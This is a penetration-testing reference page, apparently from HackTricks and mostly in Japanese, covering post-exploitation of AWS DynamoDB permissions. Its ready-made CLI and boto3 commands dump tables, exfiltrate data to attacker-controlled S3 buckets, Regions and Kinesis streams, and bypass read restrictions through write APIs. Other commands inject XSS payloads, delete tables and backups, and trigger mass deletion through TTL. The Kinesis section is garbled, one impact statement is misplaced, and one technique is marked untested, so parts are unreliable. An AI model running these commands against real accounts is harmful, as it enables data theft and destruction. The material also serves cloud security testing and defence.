Files

25 KiB
Raw Blame History

AWS - DynamoDB Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

DynamoDB

詳細は次を参照してください:

{{#ref}} ../../aws-services/aws-dynamodb-enum.md {{#endref}}

dynamodb:BatchGetItem

この権限を持つ攻撃者は、プライマリキーでテーブルからアイテムを取得することができます(テーブルの全データを一度に取得することはできません)。つまり、プライマリキーを把握している必要があります(テーブルのメタデータを取得して確認できます(describe-table))。

{{#tabs }} {{#tab name="json file" }}

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

{{#endtab }}

{{#tab name="inline" }}

aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region <region>

{{#endtab }} {{#endtabs }}

Potential Impact: テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性

dynamodb:GetItem

前の権限と同様に この権限は、潜在的な攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを許可する:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

この権限があれば、transact-get-items メソッドを次のように使用することも可能です:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Potential Impact: テーブル内の機密情報を特定することで間接的な privesc

dynamodb:Query

前の権限と同様に この権限は、攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを可能にします。 It allows to use a subset of comparisons, but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.

{{#tabs }} {{#tab name="json file" }}

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

{{#endtab }}

{{#tab name="inline" }}

aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>

{{#endtab }} {{#endtabs }}

Potential Impact: テーブル内の機密情報を特定することで間接的にprivescが可能になる

dynamodb:Scan

この権限を使用すると、簡単にテーブル全体を dump できる.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Potential Impact: テーブル内の機密情報を特定することによる間接的な privesc

dynamodb:PartiQLSelect

この権限を使用すると、テーブル全体を簡単に dump できます

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

この権限により、batch-execute-statement の実行も可能になります。例えば:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

ただし、主キーに値を指定する必要があるため、それほど有用ではありません。

潜在的影響: テーブル内の機密情報を特定することで、間接的な privesc を引き起こす可能性があります

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

この権限があれば、攻撃者は選択した S3 バケットにテーブル全体をエクスポートできます:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

これが機能するには、テーブルで point-in-time-recovery を有効にしておく必要がある点に注意してください。テーブルに設定されているかは次のコマンドで確認できます:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

有効になっていない場合は、有効化する必要があります。そのためには dynamodb:ExportTableToPointInTime 権限が必要です:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potential Impact: テーブル内の機密情報を特定することで間接的に privesc が発生する可能性

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

With these permissions, an attacker would be able to バックアップから新しいテーブルを作成する (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check 情報 from the backups that could not be any more in the production table.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

潜在的な影響: テーブルのバックアップ内の機密情報を特定することによる間接的なprivesc

dynamodb:PutItem

この権限は、ユーザーがテーブルに新しい項目を追加するか既存の項目を新しい項目で置き換えることを許可します。 同じプライマリキーを持つ項目がすでに存在する場合、項目全体が新しい項目で置き換えられます。 プライマリキーが存在しない場合、指定したプライマリキーを持つ新しい項目が作成されます

{{#tabs }} {{#tab name="XSS Example" }}

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

{{#endtab }}

{{#tab name="AI Example" }}

aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>

{{#endtab }} {{#endtabs }}

潜在的な影響: DynamoDB テーブルにデータを追加/変更できることで、さらなる vulnerabilities/bypasses の Exploitation が可能になる

dynamodb:UpdateItem

この権限によりユーザーは アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したり できます。これはアイテム全体を 置き換える ものではなく、指定した属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで 新しいアイテムを作成し、更新式で指定した属性を設定します。

{{#tabs }} {{#tab name="XSS Example" }}

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

{{#endtab }}

{{#tab name="AI Example" }}

aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

{{#endtab }} {{#endtabs }}

想定される影響: DynamoDB テーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスの悪用につながる可能性がある

dynamodb:DeleteTable

この権限を持つ攻撃者は DynamoDB テーブルを削除してデータ損失を引き起こすことができる

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

潜在的な影響: 削除されたテーブルに依存するサービスのデータ損失と中断。

dynamodb:DeleteBackup

この権限を持つ攻撃者は、DynamoDBのバックアップを削除し、災害復旧のシナリオでデータ損失を引き起こす可能性があります

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Potential impact: データの損失および災害復旧シナリオでバックアップから復元できなくなる可能性。

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

Note

TODO: 実際に動作するかテストする

これらの権限を持つ攻撃者は、DynamoDB テーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、そのストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます。これにより攻撃者はデータの変更を監視・exfiltrate し、最終的に data leakage を引き起こす可能性があります。

  1. DynamoDB テーブルでストリームを有効化する:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. ストリームを説明して、ARN やその他の詳細を取得する:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. stream ARN を使用して shard iterator を取得する:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. shard iterator を使用してストリームからデータにアクセスし、exfiltrate する:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Potential impact: DynamoDB テーブルの変更のリアルタイム監視とデータ漏洩。

dynamodb:UpdateItemReturnValues=ALL_OLD でアイテムを読み取る

テーブルに対して dynamodb:UpdateItem のみが許可されている攻撃者は、無害な更新を行い --return-values ALL_OLD を指定することで、通常の読み取り権限(GetItem/Query/Scanなしにアイテムを読み取れます。DynamoDB は応答の Attributes フィールドに更新前のアイテムの完全なイメージを返します(これは RCU を消費しません)。

  • 最小権限: dynamodb:UpdateItem on the target table/key.
  • 前提条件: アイテムのプライマリキーを知っていること。

例(無害な属性を追加し、応答内の更新前のアイテムを外部に持ち出す):

aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>

CLI のレスポンスには、完全な以前のアイテム(すべての属性)を含む Attributes ブロックが含まれ、実質的に write-only アクセスから read primitive を提供します。

潜在的影響: primary keys が既知の場合、write permissions のみでテーブルの任意のアイテムを読み取り可能になり、機密データの exfiltration を可能にします。

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

新しいレプリカ Region を DynamoDB Global Table (version 2019.11.21) に追加することで行う Stealth exfiltration。principal がリージョナルレプリカを追加できる場合、テーブル全体が攻撃者の選んだ Region にレプリケートされ、そこから攻撃者はすべてのアイテムを読み取ることができます。

{{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }}

# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

{{#endtab }} {{#tab name="PoC (customer-managed KMS)" }}

# Specify the CMK to use in the replica Region
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
--region <primary-region>

{{#endtab }} {{#endtabs }}

権限: dynamodb:UpdateTablereplica-updates付き)またはターゲットテーブル上の dynamodb:CreateTableReplica。レプリカで CMK が使用されている場合、そのキーに対する KMS の権限が必要になることがある。

潜在的影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、ステルスなデータ流出につながる。

dynamodb:TransactWriteItems(失敗した条件による読み取り + ReturnValuesOnConditionCheckFailure=ALL_OLD

トランザクション書き込み権限を持つ攻撃者は、TransactWriteItems 内で Update を実行し、意図的に ConditionExpression を失敗させつつ ReturnValuesOnConditionCheckFailure=ALL_OLD を設定することで、既存アイテムの全属性を抽出できる。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、書き込み専用アクセスを対象キーの読み取りアクセスに事実上変換してしまう。

{{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}

# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

{{#endtab }} {{#tab name="PoC (boto3)" }}

import boto3
c=boto3.client('dynamodb',region_name='<region>')
try:
c.transact_write_items(TransactItems=[{ 'Update': {
'TableName':'<TableName>',
'Key':{'<PKName>':{'S':'<PKValue>'}},
'UpdateExpression':'SET #m = :v',
'ExpressionAttributeNames':{'#m':'marker'},
'ExpressionAttributeValues':{':v':{'S':'x'}},
'ConditionExpression':'attribute_not_exists(<PKName>)',
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
except c.exceptions.TransactionCanceledException as e:
print(e.response['CancellationReasons'][0]['Item'])

{{#endtab }} {{#endtabs }}

権限: dynamodb:TransactWriteItems on the target table (および基になるアイテム)。読み取り権限は不要です。

潜在的影響: トランザクション書き込み権限のみを使用し、返されるキャンセル理由を介してテーブルから(主キーによって)任意のアイテムを読み取ることができます。

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query on GSI

低エントロピー属性に対して Global Secondary Index (GSI) を ProjectionType=ALL で作成し、その属性をアイテム間で一定値に設定してからインデックスを Query することで、完全なアイテムを取得し、読み取り制限を回避できます。これは、ベーステーブルでの Query/Scan が拒否されている場合でも、インデックスの ARN に対してクエリできる限り機能します。

  • 最小権限:
  • dynamodb:UpdateTable on the target table (GSI を ProjectionType=ALL で作成するため)。
  • dynamodb:UpdateItem on the target table keys (各アイテムにインデックス化された属性を設定するため)。
  • dynamodb:Query on the index resource ARN (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>)。

手順 (PoC in us-east-1):

# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1

潜在的影響: 新しく作成した GSI が全ての属性をプロジェクションする場合、base table の read APIs が拒否されていても、クエリによりテーブル全体を exfiltrate される可能性があります。

dynamodb:EnableKinesisStreamingDestination (Continuous exfiltration via Kinesis Data Streams)

DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が管理する Kinesis Data Stream に継続的に exfiltrate します。 有効化されると、各 INSERT/MODIFY/REMOVE イベントがほぼリアルタイムでストリームに転送され、テーブルの read 権限は不要です。

最小権限(攻撃者):

  • ターゲットテーブルに対する dynamodb:EnableKinesisStreamingDestination
  • オプションでステータス監視用の dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable
  • レコードを消費するために攻撃者所有の Kinesis ストリームに対する読み取り権限: kinesis:*
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}

2) Create attacker Kinesis Data Stream

aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1

3) Enable the DynamoDB -> Kinesis streaming destination

STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text) aws dynamodb enable-kinesis-streaming-destination
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1

Optionally wait until ACTIVE

aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus

4) Generate changes on the table

aws dynamodb put-item --table-name HTXKStream
--item file:///tmp/htx_item2.json --region us-east-1

/tmp/htx_item2.json

{"id":{"S":"a2"},"secret":{"S":"s-2"}}

aws dynamodb update-item --table-name HTXKStream
--key file:///tmp/htx_key_a1.json
--update-expression "SET #i = :v"
--expression-attribute-names {#i:info}
--expression-attribute-values {✌️{S:updated}}
--region us-east-1

/tmp/htx_key_a1.json -> {"id":{"S":"a1"}}

5) Consume from Kinesis to observe DynamoDB images

SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1
--query Shards[0].ShardId --output text) IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD"
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text) aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json

Decode one record (Data is base64-encoded)

jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .

6) Cleanup (recommended)

aws dynamodb disable-kinesis-streaming-destination
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true

### `dynamodb:UpdateTimeToLive`

dynamodb:UpdateTimeToLive の権限を持つ攻撃者は、テーブルの TTLtime-to-live設定を変更し、TTL を有効化または無効化できます。TTL が有効な場合、設定された TTL 属性を含む個々のアイテムは、有効期限に達すると自動的に削除されます。TTL 値は各アイテム上の単なる属性にすぎません。その属性を持たないアイテムは TTL による削除の影響を受けません。

アイテムがまだ TTL 属性を含んでいない場合、攻撃者は TTL 属性を追加して大量削除を引き起こすために、アイテムを更新する権限(例えば dynamodb:UpdateItemも必要になります。

まずテーブルで TTL を有効にし、有効期限に使用する属性名を指定します:
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"

次に、アイテムを更新して TTL 属性 (epoch seconds) を追加し、期限切れになって削除されるようにします:

aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'

dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime

dynamodb:RestoreTableFromAwsBackup または dynamodb:RestoreTableToPointInTime の権限を持つ攻撃者は、元のテーブルを上書きすることなく、バックアップや point-in-time recovery (PITR) から復元した新しいテーブルを作成できます。復元されたテーブルには選択した時点のデータの完全なイメージが含まれるため、攻撃者はそれを使って過去の情報を exfiltrate したり、データベースの過去の状態の完全な dump を取得したりできます。

オンデマンドバックアップからDynamoDBテーブルを復元する:

aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>

DynamoDB テーブルをポイントインタイムで復元する(復元された状態で新しいテーブルを作成する):

aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time

Potential Impact: テーブルの変更が攻撃者が制御する Kinesis ストリームへ、テーブルへの直接の読み取り操作を行うことなく、継続的かつほぼリアルタイムで exfiltration される。

{{#include ../../../../banners/hacktricks-training.md}}